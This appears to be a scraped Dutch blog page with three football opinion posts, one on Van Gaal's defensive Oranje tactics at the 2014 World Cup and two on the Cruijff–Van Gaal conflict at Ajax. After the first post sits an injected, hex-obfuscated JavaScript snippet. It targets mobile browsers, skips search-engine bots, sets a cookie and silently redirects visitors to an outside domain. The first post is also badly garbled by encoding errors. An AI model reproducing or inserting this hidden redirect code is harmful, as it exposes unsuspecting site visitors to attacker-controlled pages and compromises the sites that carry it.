vlaar-vervangt-geblesseerde-martins-indi-japanNee Menno, het zijn er niet ‘slechts een paar’. En het zijn lang niet alleen zij die a�?zwammen vanaf prominente zetels (grote kranten, populaire televisieprogrammaa��s), dus onthoud goeda��: a�?wea�� zijn met velen. Waar je wel gelijk in hebt is dat er een heel stel zeurpieten tussen zitten. Fossiele romantici, mensen die zijn blijven hangen in het verleden, fervente Van Gaal-haters, notoire schamperaars, rancuneuze Cruijff-apostelen. Waar er maar een paar van zijn, dat zijn zij die net als ik wel degelijk bewondering hebben voor Van Gaals vakmanschap en teambuildingscapaciteiten, zelfs voor zijn realiteitszin. Die genieten van het onverzettelijke optreden van de echte verdediger Ron Vlaar, net als van de sporadische, doch supersnelle uitbraken en fraaie doelpunten. A�Maar wie wint, heeft niet altijd en ook niet in alles gelijk. En hoe chauvinistisch ook ik ben, het gaat om het voetbal, niet om het land. OkA�, deze oneliner kwam ik ergens tegen, maar is daarom niet minder waar.

Het voetbal dus. Countervoetbal. Reactievoetbal volgens Louis. Wat dan ook, het is gebaseerd op verdedigende stellingen om van daaruit te counteren. A�En omdat Robben in de vorm van zijn leven is en dit spelletje op zijn eindelijk luisterende lijf is geschreven, schrijven we tot dusver historie. Knap, uiterst efficiA�nt en effectief. Chapeau.

Maar dat we daarvoor gedurende hele wedstrijdfasen zeer afwachtend, superverdedigend en bij vlagen zelfs afbraakvoetbal voor lief moeten nemen, is voor mij een te groot en onnodig offer. Balbezit hoeft niet heilig te worden verklaard, maar knap positiespel, slim uitverdedigen, een middenvelder durven inspelen in plaats van lukraak de bal naar voren lellen in de hoop a�� in deze vorm bijna in de zekerheid a�� dat Robben a�?m oppikt, het zijn elementen die het spel aanzienlijk kunnen verfraaien. En waardoor je dus niet hoeft te wachten op die inderdaad soms mooie, tot nu toe wonderbaarlijk gelukte, maar toch spaarzame tegenaanvallen.

Ja maar, we hebben daarvoor de kwaliteiten niet, zeggen de aanhangers van het neorealisme. Liever een winnende pot die grotendeels en voor velen niet te verteren is (tot uw dienst Menno), dan alwA�A�r aan het kortste eind trekken met aanvallend voetbal, zo luidt de nieuwe doctrine.

robben-casillas1Realisme, niks mis mee. Je sterkste punten benutten, graag zelfs. Roeien, riemen, natuurlijk. De vraag is echter of het ook niet anders had kunnen worden aangepakt. Met hetzelfde resultaat, maar op een meer attractieve wijze. Ja dus. Ik durf zelfs te stellen dat de tactiek tegen Spanje (met vijf verdedigers) verkeerd was. Er werden veel te veel kansen weggegeven, a�?wea�� hebben volledig geparasiteerd op het talent van de voorwaartsen en zijn daar echt door het oog van de naald gekropen. Er was totaal geen grip op het middenveld en het te laat instappen van Martins Indi en De Vrij leidde meerdere malen tot vrije doortocht voor de Spaanse voorwaartsen.

In 2010, toen dit nieuwe realisme door Van Marwijk in gang werd gezet, deden we dat nog veel beter. Er werd ten eerste veel eerder en a�?hogera�� druk gezet, zodat Spanje amper bij de vijandelijke goal kon komen. Had Robben de gewraakte A�A�n op A�A�n met Casillas wel gemaakt, danA� hadden we Spanje ongetwijfeld weggecounterd alsof het vier jaar later was.

Tegen het huidige Spanje, hoe op zijn retour ook, was de verdedigende tactiek vanzelfsprekend verdedigbaar, maar tegen een beperkt AustraliA� was dat een regelrechte blamage. Ondanks, maar waarschijnlijker dankzij de tactiek kwam de tegenstander voortdurend tussen de linies aan de bal en wisten de ‘onzen’ elkaar op het midden praktisch nooit te vinden. Totdat, wie anders, a�?onsa�� uit de brand hielp.

Gek genoeg bood de minst opwindende wedstrijd van de drie nog het meeste houvast. Met een verdediger minder stak het verdedigend beter in elkaar, om maar eens een Cruijffiaanse wijsheid te fingeren. Er werd niets weggegeven doordat de ruimtes op het midden kleiner waren en we korter op de man konden zitten. Met excuses voor het analisten- en trainersjargon. Nog steeds was de opbouw matig, maar dat is iets wat Van Gaal zelf ook heeft toegegeven.

Counteren, het kan prachtig zijn. Een snelle, over een paar schijven uitgevoerde tegenaanval: het is A�A�n van de schoonheden van het edele voetbalspel. Maar dit voetbal is bij tijd en wijlen de counter en de schaamte voorbij. Het doet mij teveel denken aan de tegenstander van vroeger die er geen hout van kon, die met za��n allen voor de goal gingen liggen, maar voorin A�A�n goeie voetballer hadden die balletjes stond af te wachten en er altijd wel een paar inschoot. Of aan de tennisser aan de overkant van het net, die alles terugbrengt en vertraagt, jou naar het net lokt om dan met een perfecte lob toe te slaan. Ook knap, toegegeven. (Te meer omdat die tennisser me heel bekend voorkomt..) En iemand die zo nodig wereldkampioen wil worden, moet maar laten zien dat-ie ook dat kan bestrijden, maar toch: willen wij zA? tot a�?s werelds beste voetbalnatie worden gekroond?

Wesley-Sneijder-getty-146300950Ja, natuurlijk willen we dat! Ik voorop. Al is het alleen maar omdat we het gezien ons voetbalverleden en positieve impact op de voetbalwereld, a�?balbezitfetisjismea�� incluis, eindelijk wel eensA�verdienen. En ik sluit niet uit dat we dat ook daadwerkelijk waar gaan maken, net zo min als ik uitsluit dat dit, hoe tegenstrijdig dit ook klinkt, met meer realistisch en toch aantrekkelijker voetbal gepaard zal gaan. Want hoe dan ook is het zelfvertrouwen van iedereen, behalve wellicht Wesley Sneijder, toegenomen. En nu we het toch over Wesley hebben a�� ik ben ervan overtuigd dat wanneer Van Gaal c.q. Oranje erin slaagt om onze beste middenvelder beter te laten renderen, de kansen op de wereldtitel aanzienlijk zullen stijgen.

Maar dan hebben het nog niet over de tegenstander gehad. Want Mexico cum suis hebben natuurlijk allang het gevaar van dit Oranje onderkend. En om de fraaie metafoor van Mennoa��s stiletto er even bij te halen, men zal wel gek zijn om ook in het mes te lopen. Ja, misschien dat de Mexicanen a�� toch een beetje het Nederland van Zuid-Amerika a�� nog zo a�?doma�� zijn om trouw te blijven aan de huisstijl, maar de Urugayanen, Colombianen, Argentijnen en Brazilianen zullen zo naA?ef zeker niet zijn. En als we dan toch op miraculeuze wijze tot in de finale geraken, dan is onze enige hoop Die Manschaft als opponent aan te treffen. Want dat is ironisch genoeg nog de enige romanticus onder de voetballanden. Nota bene in navolging van Nederland vindt men daar nog de wijze waarop het spel wordt gespeeld minstens zo belangrijk als de knikkers. Wij zijn het nieuwe Duitsland, Duitsland is het nieuwe Nederland. En Van Gaal wordt wellicht wereldkampioen met een spiegelbeeld van de spelopvatting van zijn erfvijand Cruijff. De ultieme wraak. De ironie ten top.

Alleen de geschiedenis zal ons leren of deze stijlbreuk en dit Oranje-team zullen beklijven A?f dat men zich in pakweg 2030 alleen nog maar de Robben en Van Gaal van 2014 zal herinneren. Ik sluit niet uit dat dan nog steeds het totaalvoetbal van de jaren a��70 als piA?ce de rA�sistance zal worden gezien.

En Apollo 13? Niet gezien. Maar opwindend is het zeker.

 var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »


Insiders weten dat ik een groot voetballiefhebber ben, zeg maar gerust een fanaat. Diezelfde ingewijden (kunnen inmiddels ook) weten dat ik mijn gezonde verstand en kritische geest niet door deze passie laat ondersneeuwen. Dit kunt u lezen op het onvolprezen, door oudste zoonlief bedachte, kritisch knipogende voetbalblog Voetblah, waarop ik met grosso modo gelijkgezinden minimaal wekelijks publiceer. Maar ook dit weblog getuigt van een breder belangstellende blik die, in voetbaljargon, over de bal heen kijkt. Vandaar dat ik me niet alleen geroepen, maar tevens gelegitimeerd voel om het vrijwel unaniem als complete voetbalgekte aangemerkte pandemonium rondom Ajax nader te beschouwen. En zelfs de pretentie heb om althans een poging tot verklaring te doen.

Dat ik dit op mijn eigen weblog en niet op Voetblah of via een ander sportief kanaal doe, komt voort uit een mengeling van plaatsvervangende schaamte en behoefte aan duiding als ik denk aan het segment in onze samenleving dat helemaal niks met voetbal heeft of zelfs haat. Een segment dat qua omvang en negatieve waardering zeker niet zal zijn gekrompen door de recente, onverkwikkelijke Ajax-perikelen. Onder mijn vaste lezers zijn er ongetwijfeld velen die zich onder dit segment zullen scharen.


Maar het is, zoals de titel en inleiding al aangeven, niet alleen een soort van excuus aan al degenen die (n)iets met/tegen voetbal hebben. Het beoogt ook een verklaring te zijn, misschien zelfs wel een legitimatie,  voor gebeurtenissen die zeker op het eerste oog en oor – met dank aan Bram Moszkovicz – abject en infaam zijn. En voor de antagonisten: dit gevoel overheerst ook bij vele protagonisten. Zoals, zeker aanvankelijk, ook bij mij. Tegelijkertijd gaan velen met een een dubbele moraal aan de haal met dit verhaal. Naar buiten toe afkeuringswaardigheid, zelfs weerzin prediken en ondertussen stiekem smullen van de sensatie.

Vooropgesteld: de overvloedige, monomane aandacht voor dit koningsdrama in optima forma ging alle perken te buiten. Dat in de sportmedia gebeurt, alla, maar ook daarbuiten was het brekend nieuws, #trending topic en niet te vermijden. Zoals dit tegenwoordig ook al usance is wanneer Oranje een EK of WK speelt. Geen enkele nieuwsrubriek durft zich te onttrekken aan deze schier automatische reflex. Tsunami’s, hongersnood en Arabische of elders gelokaliseerde lentes doen er dan even niet toe. Het volk, het kijkersvee, wil spelen en koopt geen brood voor het echte wereldleed. Zo lijken althans de nieuws/programmamakers te redeneren, maar ik geloof hier geen barst van.

Als zelfs deze zelfverklaarde voetbalfanaat al constateert dat er sprake is van overkill en een flagrante miskenning van wat óók (want het doet er wel degelijk toe) belangrijk is, dan moet het bevolkingsdeel dat het er hier minstens mee eens is aanzienlijk zijn. Het is dat altijd maar weer hautain zwijgende segment, misschien wel in de meerderheid, dat maar niet in opstand wil komen, dat het zich steeds maar weer opnieuw laat aanleunen. Ik ben zelfs geneigd te stellen, dat zijn verantwoordelijkheid niet neemt. Dat zich liever elitair, snobistisch en koket in eigen kring tegen het voetbalvolk afzet dan dat het hiertegen actief, doch genuanceerd, in het geweer komt. (Laat nou uitgerekend Youp gevolgd door Govert, terwijl ik dit in de steigers zet, een als hier bedoeld ‘wij pikken het niet langer’-signaal afgeven!)

Saillant genoeg is het nota bene Ajax zelf geweest dat het eerst in intellectuele, artistieke kringen werd omarmd. Gefascineerd door de revolutionaire ontwikkeling van Cruijff en co – die bovendien de provocatieve, anti-establishment-geur van de eindjaren ’60 en beginjaren ’70 uitwasemde – schurkte menige kunst(on)zinnige BNN’er zich tegen het Lucky Ajax-succes aan. Van de jonge Freek tot de oude Youp, van Peter R. in zowel FReddy als FeRdi tot aan wie is De Mol. Ze verwerden tot zelfbenoemde dan wel gebombardeerde voetbaldeskundigen. Als factor die heeft bijgedragen tot de buitenproportionele aandacht voor het voetbal en Ajax in het bijzonder mag dit gegeven niet worden veronachtzaamd. Alle partijen houden malkander, de media en dus ons al publiek gegijzeld in hun ongebreidelde behoefte aan aandacht, gepaard aan angst om in de vergetelheid/lage kijkcijfers te geraken.

Alle vermaledijde, onverkwikkelijke uitwassen van de Ajax-soap ten spijt, kan ik er niet genoeg van krijgen. Omdat het door te trekken is naar het leven, de maatschappij, het mens-zijn zo u wilt. In wezen is het al lang van het voetbal losgezongen. De onontwarbare medialijntjes doen de rest. Slangenkuil, achterklap, karaktermoord, hoogverraad, intriges, manipulaties, kinderachtigheid en egomaan gedrag pur sang: het heeft alle kenmerken en ingrediënten van het echte (zaken)leven en de politiek. Alleen in het voetbal en in het bijzonder bij Ajax ligt het meteen op straat, lult iedereen mee, vormt Jan en alleman zich een mening en kiest men partij. Democratie in optima forma. In het bedrijfsleven en in de politiek zijn dit soort zaken schering en inslag, maar blijft het meestal binnens/achterkamertjes. In een enkel geval wordt er jaren nadien een kamerdebat of, als je ‘geluk’ hebt, een parlementaire enquête aan gewijd. Waaruit dan de verderfelijke geur van jarenlang rottend vullis opstijgt.

Er is nóg een element dat mijn poging om dit fenomeen te verklaren legitimeert en dat is mijn leeftijd. Ik stond aan de wieg van zowel de sportieve opkomst als de huidige, bestuurlijke afgang van Ajax. Ik doorleefde zowel het fenomeen Cruijff als het unieke verschijnsel Van Gaal. Ik bewonder alsmede verwerp het doen en laten van beide opponenten. Ik ben een der logischtieken/Cruijffianen én een evanGaalist. Of beter nog, geen van beiden. In de 2e aflevering ga ik dieper in op de ontstaansgeschiedenis en het verloop van dit klassieke, o zo menselijke, (grotendeels generatie)conflict.

– Afbeelding Van Gaal/Cruijff komt van http://www.ajax.nl

– Afbeelding antagonist/protagonist is van noctriate.deviantart.com

– Afbeelding slangenkuil is afkomstig van photographyabdu.com

Read Full Post »

Sorry mensen, maar het wordt een drieluik. Geen een-tweetje, maar een driehoekje. Waarmee ik me aan dezelfde overdadigheid bezondig, waarvan ik anderen beschuldig. Het zij zo. Bovendien, het is nu en op De Toekomst wel erg rustig, al kan dat zo weer anders zijn. Hieronder dus deel II. Dit weekend nog de afronding. Zie het maar als compensatie voor het momentane schromelijke gebrek aan Ajax-informatie..


Inmiddels zitten we volgens velen alweer wekenlang opgescheept met het onwel en wee in de Ajax-gelederen. Zoals gezegd, ík smul én walg ervan. Maar dat gaat vaak samen, komt misschien wel op hetzelfde neer. Onlangs heeft zich weer een nieuw element ingevoegd: een predikant als zijnde ex-ledenraadslid spreekt vanaf de Perskansel.nl een stichtelijk woord. Onthult even wat biechtgeheimen. De Griekse Tragedie aldus transformerend in een Bijbelse Vertelling. Toen de Ajacieden zich godenzonen zijn gaan wanen, gingen ze richting hel en verdoemenis, aldus Eerwaarde Klaas Vos. Me dunkt dat hij zich toen juist geroepen voelde. En hij rept over “de criminele apostelen van Cruijff“. Jammer dat hij ‘verzuimt’ de Judas-rol toe te bedelen. Want er zijn er nogal wat die daarvoor op z’n minst auditie hebben gedaan. En dan is er binnenkort nog een Cruijff Court in het geding op uitgerekend de dag dat Ajax de Koninklijke ontmoet! Wat je noemt een wedstrijd in een wedstrijd.

Eerder maakte ik gewag van een (grotendeels) generatieconflict. De (post-)babyboomers als Cruijff-apostelen en de late generaties (NI)X, Y en Z als evanGaalisten. Uiteraard is dit een scheiding met de grove kam. Er zijn allerlei dwarsverbanden en varianten op dit twee kampen-thema en ik heb u al uiteengezet hoe ik mezelf hierin positioneer. Zoals in vrijwel elk conflict draait het hoofdzakelijk om competentie en communicatie. Om behoefte aan erkenning en bevestiging. Met een niet te onderschatten rol voor de levenspartners.

Waar het gaat om status en erkenning heeft Van Gaal de pech tegenover Cruijff te staan, wiens mythe al was gecreëerd toen Louis voetballend en coachend nog aan de weg moest timmeren. Dus moest opboksen tegen wat er al bestond en sowieso als speler onbereikbaar was. Daar zal ook geen meningsverschil over bestaan. De crux zit ‘m in de trainingsaanpak en voetbalvisie in en op De Toekomst. Door Cruijff bloedserieus, dus uiterst schertsgevoelig, verengt tot de linker- en rechterhersenhelft. Ook Van Gaal hanteert een mensenbeeld, breed uitgemeten in zijn geautoriseerde biografie. Materie waarin beiden niet thuis zijn, dus verre van zouden moeten blijven. Eigen(on)zinnigheid en betweterigheid ten top. Ook al een bijna wetmatigheid qua tweestrijd: de opponenten gelijken in vele opzichten op elkander.

Er zijn echter twee essentiële verschillen die, naar mijn inschatting, ook de kiem vormen van dit conflict. Johan heeft, anders dan Louis, geen bevestiging meer nodig; is de zucht naar roem en erkenning allang voorbij. Hoe je ook over hem denkt, Cruijffs status als voetballer én trainer is, zeker in het buitenland, onaantastbaar. Wat Louis ook doet, hoeveel prijzen hij nog binnensleept, hij zal altijd in Cruijffs schaduw staan. Ik vermoed dat beiden dit weten, maar dat Johan dit vanzelfsprekend/logisch vindt en dat Louis het als een onrechtvaardigheid beschouwt.

Een tweede cruciale factor is volgens mij dat Cruijff een geheel ander(e) gewicht en betekenis aan het begrip ruzie lijkt toe te kennen. Gewend als hij is aan de kleedkamer’discussie’-cultuur en om altijd gelijk te hebben/krijgen, lijkt hij geen last te hebben van scrupules en rancune. Ook hier weer die vanzelfsprekendheid, waardoor hij zich niet kan voorstellen dat er anders over wordt gedacht en er zich dus ook niet in kan/wil verdiepen. Cruijff heeft, zo lijkt, een geheel eigen referentiekader inzake (vermeende) conflicten.

Waar vrijwel iedereen het gevoel heeft – en dus ook die conclusie trekt – dat er van een hooglopende ruzie sprake is, daar lijkt het voor Cruijff slechts een akkefietje. Iets waar hij dus snel overheen stapt en dan ook oprecht verbaasd is als dit anders wordt ervaren. Als gebrek aan empathie bijvoorbeeld of zelfs als gewetenloosheid. Voor zover dan – en zolang – de bal in het geding is, hoe ver dit attribuut in deze kwestie ook uit het zicht lijkt te zijn verdwenen. Want dit alles lijkt weer moeilijk verenigbaar met de man die een Foundation en University zijn naam heeft gegeven.

– Afbeelding De Toekomst komt van website nl.afcajax.wikia.com
Afbeelding Tweestrijd is afkomstig van zoom.nl
– Afbeelding Referentiekader is van uitdaging.net

Read Full Post »

%d bloggers liken dit: